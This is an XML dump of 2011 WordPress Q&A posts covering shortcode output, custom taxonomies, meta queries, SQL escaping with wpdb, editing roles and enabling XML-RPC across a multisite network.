  <row Id="25928" PostTypeId="1" CreationDate="2011-08-15T05:02:47.790" Score="1" ViewCount="40" Body="&lt;p&gt;I have the following text in a page. As you can see my shortcode is right at the bottom but somehow when the code runs, the out put of my shortcode is inserted at the top of the page instead of following its preceding content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;alignnone&quot; title=&quot;title_enquires&quot; src=&quot;http://localhost/barcelona/wp-content/uploads/2011/08/title_enquires.jpg&quot; alt=&quot;&quot; width=&quot;589&quot; height=&quot;77&quot; /&amp;gt;&#xA;&amp;lt;img class=&quot;alignnone&quot; title=&quot;contact_map&quot; src=&quot;http://localhost/barcelona/wp-content/uploads/2011/08/contact_map.jpg&quot; alt=&quot;&quot; width=&quot;555&quot; height=&quot;222&quot; /&amp;gt;&#xA;&#xA;[barcelona_address]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is my short code registration inside the function.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_shortcode( 'barcelona_address', 'barcelona_shortcode_handler' );&#xA;&#xA;function barcelona_address_func()&#xA;{&#xA;    print &quot;&amp;lt;p&amp;gt;sdsdsds&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;&#xA;function barcelona_shortcode_handler( $atts, $content=null, $code=&quot;&quot; ) &#xA;{&#xA;   if (function_exists($code . &quot;_func&quot;))&#xA;   {&#xA;       call_user_func($code . &quot;_func&quot;, $atts);&#xA;   }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the result is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;sdsdsds&amp;lt;/p&amp;gt;&#xA;&amp;lt;img class=&quot;alignnone&quot; title=&quot;title_enquires&quot; src=&quot;http://localhost/barcelona/wp-content/uploads/2011/08/title_enquires.jpg&quot; alt=&quot;&quot; width=&quot;589&quot; height=&quot;77&quot; /&amp;gt;&#xA;&amp;lt;img class=&quot;alignnone&quot; title=&quot;contact_map&quot; src=&quot;http://localhost/barcelona/wp-content/uploads/2011/08/contact_map.jpg&quot; alt=&quot;&quot; width=&quot;555&quot; height=&quot;222&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7898" LastActivityDate="2011-08-15T12:03:08.157" Title="Why does my short code get executed before other content?" Tags="&lt;theme-development&gt;&lt;template&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="25929" PostTypeId="2" ParentId="21747" CreationDate="2011-08-15T05:18:54.077" Score="1" ViewCount="" Body="&lt;p&gt;I came here looking for the same answer, and then elsewhere came across the &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-access-manager/&quot; rel=&quot;nofollow&quot;&gt;Advanced Access Manager&lt;/a&gt; -- it does exactly what the OP requested (and what I was looking for).&lt;/p&gt;&#xA;" OwnerUserId="7899" LastActivityDate="2011-08-15T05:18:54.077" />
  <row Id="25930" PostTypeId="1" CreationDate="2011-08-15T05:55:26.623" Score="0" ViewCount="26" Body="&lt;p&gt;Question is, why are some shortcodes not being rendered in a meta box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple meta box where you can put any content in it and use for example [meta_box] in the post to display the meta box content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some plugins with shortcodes are not being rendered when using their shortcodes inside the meta box. (And yes, I have do_shortcode done in the meta box.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the flash video player plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/flash-video-player/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/flash-video-player/&lt;/a&gt;&#xA;... if I put the shortcode there in the meta box, in the final output it will only display the shortcode text I put in the meta box like &quot;[flashvideo file=video/video.flv /]&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another plugin, Sniplets (http://wordpress.org/extend/plugins/sniplets/).&#xA;When I put a newly created sniplet inside the meta box, only the raw text with brackets is being displayed, but the sniplet shortcode is not being processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, shortcodes coming from other plugins like viper quick tags are fine.&#xA;Using the shortcode in the meta box renders the shortcode correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why this is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that these pluginswere not actually written using add_shortcode() that's why they are not being rendered in a meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anyone know how to make them work in a meta box? Like why being rendered in the editor box, but not in a metabox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3305" LastActivityDate="2011-08-15T05:55:26.623" Title="Some shortcodes not being rendered on a meta box" Tags="&lt;metabox&gt;&lt;shortcode&gt;" CommentCount="3" />
  <row Id="25932" PostTypeId="2" ParentId="25855" CreationDate="2011-08-15T06:22:27.640" Score="0" ViewCount="" Body="&lt;p&gt;I have the same issues on 10 different sites that all got hit today (not all wordpress) and were comprised with the same code. My best guess at this point is that I have malware on my LOCAL machine that used my FTP client to infect my sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bad for storing passwords in the FTP client. I learned from this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get good malware scanning tool, change all passwords for your sites. Don't store passwords in your FTP client.&lt;/p&gt;&#xA;" OwnerUserId="7900" LastActivityDate="2011-08-15T06:22:27.640" />
  <row Id="25933" PostTypeId="2" ParentId="25904" CreationDate="2011-08-15T06:32:06.043" Score="0" ViewCount="" Body="&lt;p&gt;using the  tag i paginated the post and it finally works&lt;/p&gt;&#xA;" OwnerUserId="7889" LastActivityDate="2011-08-15T06:32:06.043" CommentCount="1" />
  <row Id="25934" PostTypeId="1" AcceptedAnswerId="25958" CreationDate="2011-08-15T07:32:31.123" Score="0" ViewCount="29" Body="&lt;p&gt;I am developing a website for real estates. I was wondering that how can I add a dropdown to my custom forms (theme my login plugin) for cities states etc. The basic point is that I dont want to add new tables in the database. I want to achieve this without that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7338" LastActivityDate="2011-08-15T13:50:23.480" Title="make a dropdown custom field with 'cities' list in it" Tags="&lt;custom-field&gt;&lt;dropdown&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25935" PostTypeId="1" AcceptedAnswerId="26488" CreationDate="2011-08-15T08:41:03.030" Score="0" ViewCount="22" Body="&lt;p&gt;I'm much of a php-noob but have this idea of a loop for my site. I have the idea behind it but maybe you have an idea how to put this into code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$customfield = get_specific_customfield&#xA;&#xA;if $custom-field is = not empty&#xA;echo 'custom-field-input&quot; class=&quot;'&#xA;&#xA;else&#xA;&#xA;echo '`&amp;lt;?php echo $thumbnail_src[0]; ?&amp;gt;&quot; class=&quot;fancybox`'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I have to integrate the fancy-box stuff to control how the input will be displayed)&lt;/p&gt;&#xA;" OwnerUserId="7753" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-15T11:49:36.047" LastActivityDate="2011-08-21T19:45:20.417" Title="If post custom meta data is not set, show normal state" Tags="&lt;custom-field&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25936" PostTypeId="1" CreationDate="2011-08-15T09:29:43.073" Score="0" ViewCount="66" Body="&lt;p&gt;I will shortly be creating my WordPress website in which I will be selling a software product. Ideally, I would want two things to happen :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When a customer makes a payment(through PayPal account or PayPal credit card processing I suppose), they should be redirected to the download page to immediately download the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Since software tends to be updated into new versions quite a lot, I would really like to have a flexible way to allow customers to re-download the software using a well secure, secret uri, probably created with a token and based on some passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, I would like to ask you how you would suggest I should handle that. I know that there are some WordPress plugins that would allow me to do (1), but i would really like to know your experience and if you use one, which plugin do you suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For (2), I don't really have any ideas yet? Is there a plugin or other solution ? Has anyone has done it?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-08-15T11:27:10.270" LastActivityDate="2011-09-06T00:22:05.383" Title="Allow customers  to download updated versions of software" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="25937" PostTypeId="1" AcceptedAnswerId="25971" CreationDate="2011-08-15T09:30:31.043" Score="1" ViewCount="22" Body="&lt;p&gt;I'm planning on building a site with different sections, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Training&lt;/li&gt;&#xA;&lt;li&gt;Conferences&lt;/li&gt;&#xA;&lt;li&gt;Ideas&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A different person will be in charge of editing and managing each section. They will be able to edit the parent page and add, edit and delete sub-pages within each section. I don't want each person to be able to add/edit/delete pages from a section that they don't manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell if I give each person an &quot;editor&quot; role then they will be able to add/edit/delete pages from each section. If I give them an author role, then they won't be able to add pages at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve my goal from within Wordpress? If not, will I need to use a plugin, and if so, can you recommend one that will help?&lt;/p&gt;&#xA;" OwnerUserId="5864" LastEditorUserId="5864" LastEditorDisplayName="" LastEditDate="2011-08-15T11:33:09.393" LastActivityDate="2011-08-15T15:53:55.580" Title="Can I allow certain people to add/edit pages within a parent?" Tags="&lt;plugins&gt;&lt;page&gt;&lt;pages&gt;&lt;roles&gt;" AnswerCount="1" />
  <row Id="25939" PostTypeId="2" ParentId="25635" CreationDate="2011-08-15T10:05:19.453" Score="0" ViewCount="" Body="&lt;p&gt;Well maybe another approach will work. &#xA;I've seen users profiles implemented and working on front-end somewhere using Theme My Login plugin ( &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/theme-my-login/&lt;/a&gt; ) and User Avatar ( &lt;a href=&quot;http://wordpress.org/extend/plugins/user-avatar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-avatar/&lt;/a&gt; ); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find more here &lt;a href=&quot;http://wordpress.org/support/topic/custom-edit-profile-page&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/custom-edit-profile-page&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-08-15T10:05:19.453" CommentCount="1" />
  <row Id="25940" PostTypeId="1" CreationDate="2011-08-15T10:09:15.310" Score="1" ViewCount="43" Body="&lt;p&gt;I have a arbitrary string and want to check if a post with that slug string exists in the site. I tried to find a way to list all slugs, but can't find such a thing. Thanks&lt;/p&gt;&#xA;" OwnerUserId="6858" LastEditorUserId="6858" LastEditorDisplayName="" LastEditDate="2011-08-22T01:44:22.353" LastActivityDate="2011-08-22T01:44:22.353" Title="How to check if a slug exists?" Tags="&lt;slug&gt;" AnswerCount="1" />
  <row Id="25942" PostTypeId="1" CreationDate="2011-08-15T09:41:51.610" Score="0" ViewCount="19" Body="&lt;p&gt;I've noticed on a couple of websites that the code highlighter can have some options like print / copy to clipboard, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed CodeHighlighter as a Wordpress plugin in my website but can't find a way to get those options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" LastActivityDate="2011-08-17T13:25:13.307" Title="Wordpress CodeHighlighter" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25943" PostTypeId="1" CreationDate="2011-08-15T11:38:48.553" Score="0" ViewCount="28" Body="&lt;p&gt;How to get the 'freshness' of a post? (when it was last updated or commented and by who?)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;e.g. 48 days / admin (avatar).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7902" LastEditorUserId="7902" LastEditorDisplayName="" LastEditDate="2011-08-15T16:44:58.777" LastActivityDate="2011-08-15T16:44:58.777" Title="Displaying the 'time ago' for recent activity within a post/custom post type?" Tags="&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="25944" PostTypeId="2" ParentId="25815" CreationDate="2011-08-15T11:43:56.547" Score="0" ViewCount="" Body="&lt;p&gt;In admin create a page with slug tips-and-tricks. Than go to Settings-&gt;Reading than in first section set up your new page to be your posts page. WP will handle proper redirection of old permalinks to new.&lt;/p&gt;&#xA;" OwnerUserId="2016" LastActivityDate="2011-08-15T11:43:56.547" CommentCount="1" />
  <row Id="25945" PostTypeId="1" AcceptedAnswerId="25969" CreationDate="2011-08-15T11:49:34.233" Score="0" ViewCount="32" Body="&lt;p&gt;Say I have an array of checkbox choices associated with a post (a custom field) stored in the database in serialized form. On my site, I present users with the same checkboxes and let them make their choices to &quot;filter&quot; out posts according to their choices. If as little as one of their choices matches a posts choices, that post should be displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args['meta_query'] = array(&#xA;  array(&#xA;    'key' =&amp;gt; 'choices',&#xA;    'value' =&amp;gt; $_POST['choices'],&#xA;    'compare' =&amp;gt; 'IN',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the data in the DB is in serialized form, I hoped that the WP_Query was smart enough to understand that it needed to unserialize the serialized data in the DB before attempting to match. This was not the case, and I am considering submitting this to the WP Trac and see if it can be added as a feature in future releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether I have any options here, other than to store my data in another way (which at the moment seems difficult as I am using the plugin &lt;em&gt;Advanced Custom Fields&lt;/em&gt; to store it). I looked through &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16709/meta-query-with-meta-values-as-serialize-arrays&quot;&gt;meta_query with meta values as serialize arrays&lt;/a&gt;, and the answers there pointed me towards storing my data in another way. I hope I can avoid that.&lt;/p&gt;&#xA;" OwnerUserId="7904" LastActivityDate="2011-08-15T15:50:15.383" Title="Can serialized arrays in DB be matched against serialized arrays with meta_query?" Tags="&lt;custom-field&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25946" PostTypeId="1" AcceptedAnswerId="25953" CreationDate="2011-08-15T11:51:22.787" Score="1" ViewCount="35" Body="&lt;p&gt;I am building a website for a magazine. It won't carry the whole content of the mag, just a teaser article or two from each issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have a page for each issue that features these articles, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.magazine.com/issue/20/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd make a template for 'issue' pages that spits out all the associated articles. But wouldn't this mean the client would have to create a blank page for each new issue, and assign the template? That seems eminently breakable. If it could be done dynamically that would be preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be putting each page in a numbered category and using the standard archive output for that category, but I'd rather use categories for their intended purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a standard way of doing it?&lt;/p&gt;&#xA;" OwnerUserId="7905" LastActivityDate="2011-08-15T13:12:35.557" Title="how do I group content in magazine-style 'issues'?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;loop&gt;&lt;cms&gt;" AnswerCount="1" />
  <row Id="25947" PostTypeId="1" AcceptedAnswerId="25950" CreationDate="2011-08-15T11:57:46.313" Score="1" ViewCount="69" Body="&lt;p&gt;Do I need to use wpdb prepare before wpdb-&gt;insert?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am inserting values into a wordpress table using wpdb-&gt;insert, do I need to &quot;clean&quot; my data before inserting it or does this method (wpdb-&gt;insert) do that for me?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-15T12:23:11.410" Title="wpdb-&gt;insert: do I need to prepare against SQL injection?" Tags="&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="25948" PostTypeId="2" ParentId="25928" CreationDate="2011-08-15T12:03:08.157" Score="4" ViewCount="" Body="&lt;p&gt;By popular demand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is simply to replace &lt;code&gt;print&lt;/code&gt; to &lt;code&gt;return&lt;/code&gt; . Shortcodes should always return the value instead of printing or echoing it out.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-15T12:03:08.157" CommentCount="1" />
  <row Id="25949" PostTypeId="2" ParentId="25392" CreationDate="2011-08-15T12:13:18.057" Score="0" ViewCount="" Body="&lt;p&gt;I have found the issue. I was making changes to the plug-in code and transferring it directly (via ftp). &#xA;I forgot to &lt;strong&gt;deactivate&lt;/strong&gt; and &lt;strong&gt;activate&lt;/strong&gt; the plug-in. Doh!&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-08-15T12:13:18.057" />
  <row Id="25950" PostTypeId="2" ParentId="25947" CreationDate="2011-08-15T12:23:11.410" Score="3" ViewCount="" Body="&lt;p&gt;No, you shouldn't prepare or escape the data, this is done for you by the &lt;code&gt;wpdb&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#INSERT_rows&quot; rel=&quot;nofollow&quot;&gt;wpdb class reference&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;data&lt;/strong&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(array) Data to insert (in column =&gt; value pairs). Both $data columns and $data values should be &quot;raw&quot; (neither should be SQL escaped).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If, however, you were writing your own SQL rather than using the &lt;code&gt;insert&lt;/code&gt; method, then yes, you should escape using &lt;code&gt;prepare&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-08-15T12:23:11.410" CommentCount="1" />
  <row Id="25951" PostTypeId="2" ParentId="46" CreationDate="2011-08-15T12:25:54.020" Score="1" ViewCount="" Body="&lt;p&gt;I use the Codex page for WP_Query.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list may not be exhaustive but it is useful, fairly comprehensive and up-to-date. I believe that WP_Query and query_posts share the same parameters.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-08-15T12:25:54.020" />
  <row Id="25952" PostTypeId="1" CreationDate="2011-08-15T13:04:52.987" Score="0" ViewCount="17" Body="&lt;p&gt;I'm trying to find a way to display the work area content of different plugins on pages/posts/areas aside from the admin backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, how would I display the options panel for a certain plugin in a page instead of it's default location? If the plugin also has an output view, like Google Analytics dashboard, how would I call that output content to display in a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I essentially want to move a lot of the settings and other panels from the admin areas to other locations, or have them display in other locations where they're called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on how I might go about that?&lt;/p&gt;&#xA;" OwnerUserId="7491" LastActivityDate="2011-08-15T13:21:36.577" Title="Display Plugin Panels Outside of Admin Areas" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;hooks&gt;&lt;admin-menu&gt;" AnswerCount="1" />
  <row Id="25953" PostTypeId="2" ParentId="25946" CreationDate="2011-08-15T13:12:35.557" Score="1" ViewCount="" Body="&lt;p&gt;This scenario seems like an ideal opportunity to create a &lt;em&gt;custom taxonomy&lt;/em&gt; for the magazine's Issues: e.g. Taxonomy = &lt;em&gt;issue&lt;/em&gt;, and Terms = &lt;em&gt;August 2011&lt;/em&gt;, &lt;em&gt;September 2011&lt;/em&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even create a hierarchical taxonomy of &lt;em&gt;Volume&lt;/em&gt; and &lt;em&gt;Issue&lt;/em&gt;, with terms e.g. &lt;em&gt;2011&lt;/em&gt; and &lt;em&gt;August&lt;/em&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you have archive pages for each issue, and you can create custom Loops based on the taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-15T13:12:35.557" CommentCount="1" />
  <row Id="25954" PostTypeId="2" ParentId="13863" CreationDate="2011-08-15T13:13:33.763" Score="0" ViewCount="" Body="&lt;p&gt;I think you have a slight error here, the 'cat' paramater only accepts a post ID as an Integer (Source: &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Parameters&lt;/a&gt;);&lt;/p&gt;&#xA;" OwnerUserId="7906" LastActivityDate="2011-08-15T13:13:33.763" />
  <row Id="25955" PostTypeId="2" ParentId="25952" CreationDate="2011-08-15T13:21:36.577" Score="1" ViewCount="" Body="&lt;p&gt;Look at the markup for the callback function called by &lt;code&gt;add_theme_page()&lt;/code&gt; or &lt;code&gt;add_settings_page()&lt;/code&gt;, and use that markup to create a custom Page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For code that simply outputs content, this should be fairly straight-forward; for code that actually saves settings, you're probably going to have to do more work in order to create front-end data submission. In such case, you might want to look at something like the P2 Theme, to see how it handles front-end post submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, before attempting something like this, be sure that you fully understand the security implications of taking such code/content out of the Admin area and putting it into the publicly accessible front-end.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-15T13:21:36.577" />
  <row Id="25956" PostTypeId="1" CreationDate="2011-08-15T13:32:35.343" Score="0" ViewCount="26" Body="&lt;p&gt;How would I update 500 different blogs hosted on separate hosting accounts and enable xml-rpc publishing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are writing a unified system for our clients who use a customized deployment of WP, allowing them to interact with their blogs from our site.&lt;/p&gt;&#xA;" OwnerUserId="474" LastEditorUserId="474" LastEditorDisplayName="" LastEditDate="2011-08-15T15:46:37.637" LastActivityDate="2011-08-15T15:46:37.637" Title="Enabling XML-RPC Accross 500 blogs" Tags="&lt;xml-rpc&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25957" PostTypeId="1" CreationDate="2011-08-15T13:38:36.707" Score="0" ViewCount="24" Body="&lt;p&gt;I have a call to register_sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(&#xA;        array(&#xA;        'before_widget' =&amp;gt; '&amp;lt;div id=&quot;%1$s&quot; class=&quot;widget entry %2$s&quot;&amp;gt;',&#xA;        'after_widget'  =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title'  =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle&quot;&amp;gt;',&#xA;        'after_title'   =&amp;gt; '&amp;lt;/h2&amp;gt;'&#xA;        )&#xA;    );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want the output to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;&amp;lt;img src=&quot;http://imagegenerator?text={title}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the {title} is replaced with the current widget title, I cant seem to get the widget title. And to be honest I have no idea where those %1$ and %2$ variables have come from or are populated from.,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2011-08-15T13:38:36.707" Title="Sidebar custom output" Tags="&lt;themes&gt;" />
  <row Id="25958" PostTypeId="2" ParentId="25934" CreationDate="2011-08-15T13:50:23.480" Score="1" ViewCount="" Body="&lt;p&gt;You can register custom taxonomy like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Register custom taxonomy for locations&#xA;function mamaduka_register_taxonomy_location() {&#xA;    register_taxonomy( 'location', array( 'post' ), array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'label' =&amp;gt; 'Locations',&#xA;        'public' =&amp;gt; true,&#xA;    ));&#xA;}&#xA;add_action( 'init', 'mamaduka_register_taxonomy_location' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for more information about custom taxonomy see Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-15T13:50:23.480" CommentCount="4" />
  <row Id="25959" PostTypeId="1" CreationDate="2011-08-15T14:13:26.383" Score="0" ViewCount="26" Body="&lt;p&gt;Is there a Wordpress plugin that lets users fill in a form to request an account that then has to be cleared/activated by an admin for the user to get access?&lt;/p&gt;&#xA;" OwnerUserId="3164" LastActivityDate="2011-08-17T04:34:45.700" Title="Is there a plugin that lets users request an account on the site?" Tags="&lt;plugins&gt;&lt;user-access&gt;&lt;account&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25960" PostTypeId="2" ParentId="25956" CreationDate="2011-08-15T14:15:34.273" Score="0" ViewCount="" Body="&lt;p&gt;Untested but this should be it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;require 'wp-load.php';&#xA;&#xA;$blogs = $wpdb-&amp;gt;get_results(&quot;&#xA;    SELECT blog_id&#xA;    FROM {$wpdb-&amp;gt;blogs}&#xA;    WHERE site_id = '{$wpdb-&amp;gt;siteid}'&#xA;    AND spam = '0'&#xA;    AND deleted = '0'&#xA;    AND archived = '0'&#xA;    AND blog_id != 1&#xA;&quot;);&#xA;&#xA;foreach ( $blogs as $blog ) {&#xA;    update_blog_option( $blog-&amp;gt;blog_id, 'enable_xmlrpc', 1 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a file in your WordPress root containing the above code and run it :)&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-15T14:15:34.273" CommentCount="2" />
  <row Id="25961" PostTypeId="1" CreationDate="2011-08-15T14:37:24.537" Score="-1" ViewCount="17" Body="&lt;p&gt;i did update to last version my wordpress site but my site is not view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i turn old version? if this impossible (how?)&#xA;What can i do for view?&#xA;(i did use auto update.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my site &lt;a href=&quot;http://allemelkuran.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7910" LastActivityDate="2011-08-15T14:37:24.537" Title="wordpress auto update after problem?" Tags="&lt;update&gt;&lt;version&gt;" CommentCount="5" />
  <row Id="25962" PostTypeId="1" AcceptedAnswerId="25966" CreationDate="2011-08-15T14:46:37.283" Score="0" ViewCount="20" Body="&lt;p&gt;The Codex has &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_shortcode_regex&quot; rel=&quot;nofollow&quot;&gt;an example&lt;/a&gt; of using get_shortcode_regex() to check if a shortcode is being called on a given page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pattern = get_shortcode_regex();&#xA;preg_match('/'.$pattern.'/s', $posts[0]-&amp;gt;post_content, $matches);&#xA;if (is_array($matches) &amp;amp;&amp;amp; $matches[2] == 'YOURSHORTCODE') {&#xA;    //shortcode is being used&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only detects the first shortcode in the post content, though. Is that a bug with get_shortcode_regex(), or can the preg_match() parameters be tweaks to make it return all shortcodes present on the page?&lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-08-15T15:42:08.620" Title="get_shortcode_regex() only matches first shortcode" Tags="&lt;shortcode&gt;&lt;regex&gt;&lt;bug&gt;" AnswerCount="1" />
